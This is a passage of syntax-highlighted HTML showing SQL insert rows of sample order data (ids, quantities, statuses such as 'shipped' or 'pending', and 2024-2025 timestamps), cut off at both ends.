class="number">4</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-04-10 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">42</span>, <span class="number">7</span>, <span class="number">10</span>, <span class="number">2</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-04-11 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">43</span>, <span class="number">19</span>, <span class="number">8</span>, <span class="number">1</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2024-04-12 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">44</span>, <span class="number">9</span>, <span class="number">2</span>, <span class="number">5</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2024-04-13 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">45</span>, <span class="number">4</span>, <span class="number">10</span>, <span class="number">5</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-04-14 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">46</span>, <span class="number">9</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2024-04-15 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">47</span>, <span class="number">17</span>, <span class="number">8</span>, <span class="number">5</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2024-04-16 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">48</span>, <span class="number">19</span>, <span class="number">10</span>, <span class="number">3</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2024-04-17 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">49</span>, <span class="number">15</span>, <span class="number">2</span>, <span class="number">5</span>, <span class="string">&#x27;pending&#x27;</span>, <span class="string">&#x27;2024-05-18 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">50</span>, <span class="number">6</span>, <span class="number">7</span>, <span class="number">3</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-05-19 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">51</span>, <span class="number">13</span>, <span class="number">8</span>, <span class="number">1</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2024-05-20 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">52</span>, <span class="number">18</span>, <span class="number">10</span>, <span class="number">1</span>, <span class="string">&#x27;pending&#x27;</span>, <span class="string">&#x27;2024-05-21 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">53</span>, <span class="number">16</span>, <span class="number">3</span>, <span class="number">2</span>, <span class="string">&#x27;pending&#x27;</span>, <span class="string">&#x27;2024-05-22 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">54</span>, <span class="number">4</span>, <span class="number">4</span>, <span class="number">1</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-05-23 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">55</span>, <span class="number">17</span>, <span class="number">5</span>, <span class="number">3</span>, <span class="string">&#x27;pending&#x27;</span>, <span class="string">&#x27;2024-05-24 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">56</span>, <span class="number">10</span>, <span class="number">1</span>, <span class="number">2</span>, <span class="string">&#x27;pending&#x27;</span>, <span class="string">&#x27;2024-05-25 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">57</span>, <span class="number">18</span>, <span class="number">8</span>, <span class="number">4</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-05-26 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">58</span>, <span class="number">4</span>, <span class="number">1</span>, <span class="number">2</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-05-27 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">59</span>, <span class="number">11</span>, <span class="number">9</span>, <span class="number">5</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2024-05-28 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">60</span>, <span class="number">20</span>, <span class="number">10</span>, <span class="number">5</span>, <span class="string">&#x27;pending&#x27;</span>, <span class="string">&#x27;2024-05-29 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">61</span>, <span class="number">18</span>, <span class="number">6</span>, <span class="number">1</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-05-30 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">62</span>, <span class="number">10</span>, <span class="number">10</span>, <span class="number">5</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2024-05-31 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">63</span>, <span class="number">18</span>, <span class="number">7</span>, <span class="number">5</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-06-01 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">64</span>, <span class="number">4</span>, <span class="number">7</span>, <span class="number">3</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2024-06-02 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">65</span>, <span class="number">19</span>, <span class="number">10</span>, <span class="number">5</span>, <span class="string">&#x27;pending&#x27;</span>, <span class="string">&#x27;2024-07-03 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">66</span>, <span class="number">3</span>, <span class="number">6</span>, <span class="number">2</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2024-07-04 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">67</span>, <span class="number">16</span>, <span class="number">8</span>, <span class="number">2</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-07-05 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">68</span>, <span class="number">1</span>, <span class="number">9</span>, <span class="number">5</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2024-07-06 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">69</span>, <span class="number">6</span>, <span class="number">8</span>, <span class="number">2</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-07-07 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">70</span>, <span class="number">2</span>, <span class="number">5</span>, <span class="number">4</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2024-07-08 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">71</span>, <span class="number">15</span>, <span class="number">7</span>, <span class="number">2</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-07-09 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">72</span>, <span class="number">2</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="string">&#x27;pending&#x27;</span>, <span class="string">&#x27;2024-07-10 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">73</span>, <span class="number">2</span>, <span class="number">6</span>, <span class="number">4</span>, <span class="string">&#x27;pending&#x27;</span>, <span class="string">&#x27;2024-07-11 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">74</span>, <span class="number">17</span>, <span class="number">6</span>, <span class="number">3</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2024-07-12 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">75</span>, <span class="number">10</span>, <span class="number">4</span>, <span class="number">2</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-07-13 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">76</span>, <span class="number">1</span>, <span class="number">7</span>, <span class="number">2</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-07-14 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">77</span>, <span class="number">13</span>, <span class="number">8</span>, <span class="number">5</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2024-07-15 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">78</span>, <span class="number">9</span>, <span class="number">7</span>, <span class="number">5</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2024-07-16 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">79</span>, <span class="number">18</span>, <span class="number">3</span>, <span class="number">3</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-07-17 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">80</span>, <span class="number">20</span>, <span class="number">7</span>, <span class="number">5</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-07-18 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">81</span>, <span class="number">19</span>, <span class="number">5</span>, <span class="number">3</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-08-18 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">82</span>, <span class="number">7</span>, <span class="number">4</span>, <span class="number">5</span>, <span class="string">&#x27;pending&#x27;</span>, <span class="string">&#x27;2024-08-19 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">83</span>, <span class="number">13</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-08-20 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">84</span>, <span class="number">3</span>, <span class="number">5</span>, <span class="number">5</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2024-08-21 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">85</span>, <span class="number">3</span>, <span class="number">2</span>, <span class="number">2</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-08-22 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">86</span>, <span class="number">7</span>, <span class="number">5</span>, <span class="number">2</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2024-08-23 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">87</span>, <span class="number">4</span>, <span class="number">6</span>, <span class="number">5</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-08-24 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">88</span>, <span class="number">18</span>, <span class="number">9</span>, <span class="number">4</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2024-08-25 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">89</span>, <span class="number">2</span>, <span class="number">9</span>, <span class="number">4</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-08-26 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">90</span>, <span class="number">18</span>, <span class="number">5</span>, <span class="number">2</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-08-27 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">91</span>, <span class="number">5</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-08-28 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">92</span>, <span class="number">11</span>, <span class="number">3</span>, <span class="number">2</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-08-29 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">93</span>, <span class="number">15</span>, <span class="number">10</span>, <span class="number">2</span>, <span class="string">&#x27;pending&#x27;</span>, <span class="string">&#x27;2024-08-30 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">94</span>, <span class="number">20</span>, <span class="number">9</span>, <span class="number">5</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2024-08-31 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">95</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">1</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-09-01 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">96</span>, <span class="number">11</span>, <span class="number">5</span>, <span class="number">1</span>, <span class="string">&#x27;pending&#x27;</span>, <span class="string">&#x27;2024-09-02 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">97</span>, <span class="number">20</span>, <span class="number">7</span>, <span class="number">5</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2024-10-03 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">98</span>, <span class="number">12</span>, <span class="number">6</span>, <span class="number">2</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-10-04 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">99</span>, <span class="number">1</span>, <span class="number">7</span>, <span class="number">3</span>, <span class="string">&#x27;pending&#x27;</span>, <span class="string">&#x27;2024-10-05 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">100</span>, <span class="number">4</span>, <span class="number">7</span>, <span class="number">2</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-10-06 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">101</span>, <span class="number">1</span>, <span class="number">9</span>, <span class="number">3</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-10-07 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">102</span>, <span class="number">2</span>, <span class="number">7</span>, <span class="number">1</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-10-08 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">103</span>, <span class="number">7</span>, <span class="number">7</span>, <span class="number">4</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-10-09 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">104</span>, <span class="number">9</span>, <span class="number">4</span>, <span class="number">5</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2024-10-10 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">105</span>, <span class="number">15</span>, <span class="number">5</span>, <span class="number">2</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-10-11 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">106</span>, <span class="number">2</span>, <span class="number">8</span>, <span class="number">5</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-10-12 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">107</span>, <span class="number">6</span>, <span class="number">10</span>, <span class="number">2</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-10-13 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">108</span>, <span class="number">19</span>, <span class="number">2</span>, <span class="number">4</span>, <span class="string">&#x27;pending&#x27;</span>, <span class="string">&#x27;2024-10-14 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">109</span>, <span class="number">15</span>, <span class="number">3</span>, <span class="number">3</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-10-15 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">110</span>, <span class="number">6</span>, <span class="number">2</span>, <span class="number">2</span>, <span class="string">&#x27;pending&#x27;</span>, <span class="string">&#x27;2024-10-16 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">111</span>, <span class="number">6</span>, <span class="number">5</span>, <span class="number">4</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2024-10-17 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">112</span>, <span class="number">14</span>, <span class="number">7</span>, <span class="number">2</span>, <span class="string">&#x27;pending&#x27;</span>, <span class="string">&#x27;2024-10-18 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">113</span>, <span class="number">16</span>, <span class="number">5</span>, <span class="number">5</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-11-18 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">114</span>, <span class="number">7</span>, <span class="number">5</span>, <span class="number">2</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-11-19 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">115</span>, <span class="number">6</span>, <span class="number">6</span>, <span class="number">1</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-11-20 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">116</span>, <span class="number">15</span>, <span class="number">10</span>, <span class="number">5</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2024-11-21 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">117</span>, <span class="number">7</span>, <span class="number">2</span>, <span class="number">1</span>, <span class="string">&#x27;pending&#x27;</span>, <span class="string">&#x27;2024-11-22 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">118</span>, <span class="number">16</span>, <span class="number">3</span>, <span class="number">2</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-11-23 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">119</span>, <span class="number">6</span>, <span class="number">9</span>, <span class="number">5</span>, <span class="string">&#x27;pending&#x27;</span>, <span class="string">&#x27;2024-11-24 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">120</span>, <span class="number">3</span>, <span class="number">10</span>, <span class="number">2</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2024-11-25 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">121</span>, <span class="number">15</span>, <span class="number">9</span>, <span class="number">2</span>, <span class="string">&#x27;pending&#x27;</span>, <span class="string">&#x27;2024-11-26 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">122</span>, <span class="number">13</span>, <span class="number">8</span>, <span class="number">5</span>, <span class="string">&#x27;pending&#x27;</span>, <span class="string">&#x27;2024-11-27 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">123</span>, <span class="number">6</span>, <span class="number">6</span>, <span class="number">4</span>, <span class="string">&#x27;pending&#x27;</span>, <span class="string">&#x27;2024-11-28 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">124</span>, <span class="number">3</span>, <span class="number">6</span>, <span class="number">5</span>, <span class="string">&#x27;pending&#x27;</span>, <span class="string">&#x27;2024-11-29 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">125</span>, <span class="number">5</span>, <span class="number">5</span>, <span class="number">4</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2024-11-30 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">126</span>, <span class="number">19</span>, <span class="number">6</span>, <span class="number">3</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-12-01 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">127</span>, <span class="number">12</span>, <span class="number">2</span>, <span class="number">2</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2024-12-02 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">128</span>, <span class="number">16</span>, <span class="number">9</span>, <span class="number">5</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2024-12-03 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">129</span>, <span class="number">15</span>, <span class="number">7</span>, <span class="number">5</span>, <span class="string">&#x27;pending&#x27;</span>, <span class="string">&#x27;2025-01-03 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">130</span>, <span class="number">2</span>, <span class="number">5</span>, <span class="number">4</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2025-01-04 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">131</span>, <span class="number">19</span>, <span class="number">6</span>, <span class="number">1</span>, <span class="string">&#x27;pending&#x27;</span>, <span class="string">&#x27;2025-01-05 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">132</span>, <span class="number">15</span>, <span class="number">7</span>, <span class="number">4</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2025-01-06 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">133</span>, <span class="number">19</span>, <span class="number">5</span>, <span class="number">5</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2025-01-07 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">134</span>, <span class="number">20</span>, <span class="number">9</span>, <span class="number">5</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2025-01-08 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">135</span>, <span class="number">2</span>, <span class="number">4</span>, <span class="number">2</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2025-01-09 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">136</span>, <span class="number">20</span>, <span class="number">10</span>, <span class="number">3</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2025-01-10 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">137</span>, <span class="number">3</span>, <span class="number">10</span>, <span class="number">1</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2025-01-11 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">138</span>, <span class="number">18</span>, <span class="number">9</span>, <span class="number">1</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2025-01-12 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">139</span>, <span class="number">18</span>, <span class="number">8</span>, <span class="number">2</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2025-01-13 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">140</span>, <span class="number">16</span>, <span class="number">7</span>, <span class="number">5</span>, <span class="string">&#x27;pending&#x27;</span>, <span class="string">&#x27;2025-01-14 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">141</span>, <span class="number">7</span>, <span class="number">3</span>, <span class="number">2</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2025-01-15 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">142</span>, <span class="number">10</span>, <span class="number">3</span>, <span class="number">5</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2025-01-16 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">143</span>, <span class="number">18</span>, <span class="number">9</span>, <span class="number">2</span>, <span class="string">&#x27;pending&#x27;</span>, <span class="string">&#x27;2025-01-17 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">144</span>, <span class="number">7</span>, <span class="number">7</span>, <span class="number">5</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2025-01-18 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">145</span>, <span class="number">14</span>, <span class="number">4</span>, <span class="number">5</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2025-02-18 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">146</span>, <span class="number">7</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="string">&#x27;pending&#x27;</span>, <span class="string">&#x27;2025-02-19 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">147</span>, <span class="number">8</span>, <span class="number">3</span>, <span class="number">2</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2025-02-20 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">148</span>, <span class="number">6</span>, <span class="number">5</span>, <span class="number">2</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2025-02-21 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">149</span>, <span class="number">13</span>, <span class="number">1</span>, <span class="number">4</span>, <span class="string">&#x27;pending&#x27;</span>, <span class="string">&#x27;2025-02-22 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">150</span>, <span class="number">9</span>, <span class="number">4</span>, <span class="number">4</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2025-02-23 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">151</span>, <span class="number">1</span>, <span class="number">4</span>, <span class="number">5</span>, <span class="string">&#x27;pending&#x27;</span>, <span class="string">&#x27;2025-02-24 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">152</span>, <span class="number">7</span>, <span class="number">4</span>, <span class="number">1</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2025-02-25 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">153</span>, <span class="number">3</span>, <span class="number">6</span>, <span class="number">3</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2025-02-26 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">154</span>, <span class="number">5</span>, <span class="number">2</span>, <span class="number">2</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2025-02-27 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">155</span>, <span class="number">12</span>, <span class="number">10</span>, <span class="number">4</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2025-02-28 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">156</span>, <span class="number">15</span>, <span class="number">7</span>, <span class="number">3</span>, <span class="string">&#x27;pending&#x27;</span>, <span class="string">&#x27;2025-03-01 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">157</span>, <span class="number">16</span>, <span class="number">7</span>, <span class="number">5</span>, <span class="string">&#x27;pending&#x27;</span>, <span class="string">&#x27;2025-03-02 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">158</span>, <span class="number">14</span>, <span class="number">2</span>, <span class="number">4</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2025-03-03 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">159</span>, <span class="number">13</span>, <span class="number">2</span>, <span class="number">1</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2025-03-04 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">160</span>, <span class="number">6</span>, <span class="number">8</span>, <span class="number">3</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2025-03-05 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">161</span>, <span class="number">4</span>, <span class="number">4</span>, <span class="number">5</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2025-04-05 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">162</span>, <span class="number">7</span>, <span class="number">5</span>, <span class="number">3</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2025-04-06 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">163</span>, <span class="number">5</span>, <span class="number">3</span>, <span class="number">3</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2025-04-07 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">164</span>, <span class="number">8</span>, <span class="number">3</span>, <span class="number">3</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2025-04-08 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">165</span>, <span class="number">4</span>, <span class="number">1</span>, <span class="number">5</span>, <span class="string">&#x27;pending&#x27;</span>, <span class="string">&#x27;2025-04-09 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">166</span>, <span class="number">4</span>, <span class="number">4</span>, <span class="number">5</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2025-04-10 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">167</span>, <span class="number">14</span>, <span class="number">5</span>, <span class="number">5</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2025-04-11 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">168</span>, <span class="number">14</span>, <span class="number">1</span>, <span class="number">2</span>, <span class="string">&#x27;pending&#x27;</span>, <span class="string">&#x27;2025-04-12 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">169</span>, <span class="number">15</span>, <span class="number">3</span>, <span class="number">5</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2025-04-13 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">170</span>, <span class="number">19</span>, <span class="number">1</span>, <span class="number">5</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2025-04-14 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">171</span>, <span class="number">2</span>, <span class="number">1</span>, <span class="number">3</span>, <span class="string">&#x27;pending&#x27;</span>, <span class="string">&#x27;2025-04-15 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">172</span>, <span class="number">5</span>, <span class="number">5</span>, <span class="number">3</span>, <span class="string">&#x27;pending&#x27;</span>, <span class="string">&#x27;2025-04-16 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">173</span>, <span class="number">3</span>, <span class="number">6</span>, <span class="number">4</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2025-04-17 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">174</span>, <span class="number">12</span>, <span class="number">3</span>, <span class="number">3</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2025-04-18 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">175</span>, <span class="number">8</span>, <span class="number">8</span>, <span class="number">2</span>, <span class="string">&#x27;shipped&#x27;</span>, <span class="string">&#x27;2025-04-19 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">176</span>, <span class="number">4</span>, <span class="number">1</span>, <span class="number">4</span>, <span class="string">&#x27;completed&#x27;</span>, <span class="string">&#x27;2025-04-20 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">177</span>, <span class="number">8</span>, <span class="number">8</span>, <span class="number">5</span>, <span class="string">&#x27;pending&#x27;</span>, <span class="string">&#x27;2025-05-21 10:00:00&#x27;</span>),</span><br><span class="line">(<span class="number">178</span>, <span class="number">15</span>, <span class="number">5</span>, <span 